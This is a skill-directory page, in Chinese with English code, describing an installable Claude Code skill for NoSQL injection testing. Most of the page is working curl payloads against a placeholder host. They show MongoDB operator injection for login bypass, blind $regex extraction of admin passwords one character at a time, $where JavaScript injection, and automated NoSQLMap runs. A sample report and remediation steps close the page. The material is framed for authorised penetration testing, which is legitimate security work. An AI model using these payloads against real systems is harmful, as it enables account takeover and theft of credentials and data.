mcpField
E
exploiting-nosql-injection-vulnerabilities

exploiting-nosql-injection-vulnerabilities

github.com/mukul975安全35.2k252 次安装8 周前更新
代码仓库

关于 exploiting-nosql-injection-vulnerabilities

面向 Web 应用渗透测试人员的 NoSQL 注入测试技能,聚焦 MongoDB 等后端及接收 JSON 的 API。内容涵盖操作符注入、认证绕过、盲注提取和自动化测试。

主要功能

  1. 01识别 NoSQL 注入点
  2. 02测试操作符注入与认证绕过
  3. 03通过盲注提取数据
  4. 04测试 JavaScript 注入
  5. 05使用 NoSQLMap 自动化测试

适用场景

  1. 01检查 MongoDB 登录接口
  2. 02评估接收 JSON 的 API
  3. 03审查数据库查询构造
  4. 04在获准测试中验证数据暴露风险

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill exploiting-nosql-injection-vulnerabilities

安装后在 Claude Code 中输入/exploiting-nosql-injection-vulnerabilities确认已加载。

包含的文件

除 SKILL.md 外,安装时一起下载的参考资料和脚本。

LICENSE
assets/
template.md
references/
api-reference.md
standards.md
workflows.md
scripts/
agent.py
process.py

详细介绍

利用 NoSQL 注入漏洞

何时使用

  • 在对使用 NoSQL 数据库的 Web 应用进行渗透测试期间
  • 在测试由 MongoDB 或类似数据库支持的身份验证机制时
  • 在评估接受 JSON 输入用于数据库查询的 API 时
  • 在对具有 NoSQL 后端的应用进行漏洞赏金狩猎期间
  • 在对数据库查询构建进行安全代码审查时

前提条件

  • 支持 JSON 的 Burp Suite Professional 或 Community Edition
  • 已安装 NoSQLMap 工具(pip install nosqlmap 或从 GitHub 获取)
  • 了解 MongoDB 查询操作符($ne、$gt、$regex、$where、$exists)
  • 目标应用使用 NoSQL 数据库(MongoDB、CouchDB、Cassandra)
  • 已配置代理以拦截 HTTP 流量
  • 用于自定义载荷脚本编写的 Python 3.x

工作流

步骤 1 — 识别 NoSQL 注入点
# Look for JSON-based login forms or API endpoints
# Common indicators: application accepts JSON POST bodies, uses MongoDB
# Test with basic syntax-breaking characters
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": "admin\"", "password": "test"}'

# Test for operator injection in query parameters
curl "http://target.com/api/users?username[$ne]=invalid"

# Check for error-based detection
curl -X POST http://target.com/api/search \
  -H "Content-Type: application/json" \
  -d '{"query": {"$gt": ""}}'
步骤 2 — 执行身份验证绕过
# Basic authentication bypass with $ne operator
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$ne": "invalid"}, "password": {"$ne": "invalid"}}'

# Bypass with $gt operator
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$gt": ""}, "password": {"$gt": ""}}'

# Target specific user with regex
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": "admin", "password": {"$regex": ".*"}}'

# Bypass using $exists operator
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$exists": true}, "password": {"$exists": true}}'
步骤 3 — 使用基于布尔值的盲注提取数据
# Extract username character by character using $regex
# Test if first character of admin password is 'a'
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": "admin", "password": {"$regex": "^a"}}'

# Test if first two characters are 'ab'
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": "admin", "password": {"$regex": "^ab"}}'

# Enumerate usernames with regex
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$regex": "^adm"}, "password": {"$ne": "invalid"}}'
步骤 4 — 通过 $where 利用 JavaScript 注入
# JavaScript injection through $where operator
curl -X POST http://target.com/api/search \
  -H "Content-Type: application/json" \
  -d '{"$where": "this.username == \"admin\""}'

# Time-based detection with sleep
curl -X POST http://target.com/api/search \
  -H "Content-Type: application/json" \
  -d '{"$where": "sleep(5000) || this.username == \"admin\""}'

# Data exfiltration via $where with string comparison
curl -X POST http://target.com/api/search \
  -H "Content-Type: application/json" \
  -d '{"$where": "this.password.match(/^a/) != null"}'
步骤 5 — 使用 NoSQLMap 进行自动化测试
# Clone and setup NoSQLMap
git clone https://github.com/codingo/NoSQLMap.git
cd NoSQLMap
python setup.py install

# Run NoSQLMap against target
python nosqlmap.py -u http://target.com/api/login \
  --method POST \
  --data '{"username":"test","password":"test"}'

# Alternative: use nosqli scanner
pip install nosqli
nosqli scan -t http://target.com/api/login -d '{"username":"*","password":"*"}'
步骤 6 — 测试 URL 参数注入
# Parameter-based injection (GET requests)
curl "http://target.com/api/users?username[$ne]=&password[$ne]="
curl "http://target.com/api/users?username[$regex]=admin&password[$gt]="
curl "http://target.com/api/users?username[$exists]=true"

# Array injection via URL parameters
curl "http://target.com/api/users?username[$in][]=admin&username[$in][]=root"

# Inject via HTTP headers if processed by backend
curl http://target.com/api/profile \
  -H "X-User-Id: {'\$ne': null}"

关键概念

概念描述
操作符注入将 MongoDB 操作符($ne、$gt、$regex)注入到查询参数中
身份验证绕过使用操作符匹配任意文档并绕过登录检查
盲注提取使用 $regex 布尔响应逐字符提取数据
$where 注入通过 $where 操作符在 MongoDB 服务器上执行任意 JavaScript
类型混淆利用 NoSQL 数据库处理不同输入类型(字符串与对象)的方式
BSON 注入操纵 MongoDB 线路协议中的二进制 JSON 序列化
服务端 JSMongoDB 中可用于查询评估的 JavaScript 执行上下文

工具与系统

工具用途
NoSQLMap自动化 NoSQL 注入检测与利用框架
Burp Suite用于拦截和修改 JSON 请求的 HTTP 代理
MongoDB Shell直接与数据库交互以测试查询行为
nosqli专用的 NoSQL 注入扫描器与利用工具
PayloadsAllTheThings精选的 NoSQL 注入载荷仓库
Nuclei基于模板的扫描器,带有 NoSQL 注入检测模板
Postman用于构造 NoSQL 注入请求的 API 测试平台

常见场景

  1. 登录绕过 — 在用户名字段和密码字段中使用 {"$ne": ""} 操作符注入,绕过由 MongoDB 支持的身份验证
  2. 数据枚举 — 当没有直接输出可见时,使用 $regex 盲注逐字符提取数据库内容
  3. 权限提升 — 通过配置文件更新端点中的 NoSQL 注入修改用户角色字段
  4. API 密钥提取 — 通过基于布尔值的盲注技术提取存储在 MongoDB 集合中的 API 密钥或令牌
  5. 账户接管 — 通过正则注入枚举有效用户名,然后通过基于操作符的身份验证绕过暴力破解密码

输出格式

## NoSQL Injection Assessment Report
- **Target**: http://target.com/api/login
- **Database**: MongoDB 6.0
- **Vulnerability Type**: Operator Injection (Authentication Bypass)
- **Severity**: Critical (CVSS 9.8)

### Vulnerable Parameters
| Endpoint | Parameter | Injection Type | Impact |
|----------|-----------|---------------|--------|
| POST /api/login | username | Operator ($ne) | Auth Bypass |
| POST /api/login | password | Regex ($regex) | Data Extraction |
| GET /api/users | id | $where JS Injection | RCE Potential |

### Proof of Concept
- Authentication bypass achieved with: {"username":{"$ne":""},"password":{"$ne":""}}
- Extracted 3 admin passwords via blind regex injection
- JavaScript execution confirmed via $where operator

### Remediation
- Use parameterized queries with MongoDB driver sanitization
- Implement input type validation (reject objects where strings expected)
- Disable server-side JavaScript execution ($where) in MongoDB config
- Apply least-privilege database access controls

评论

支持 Markdown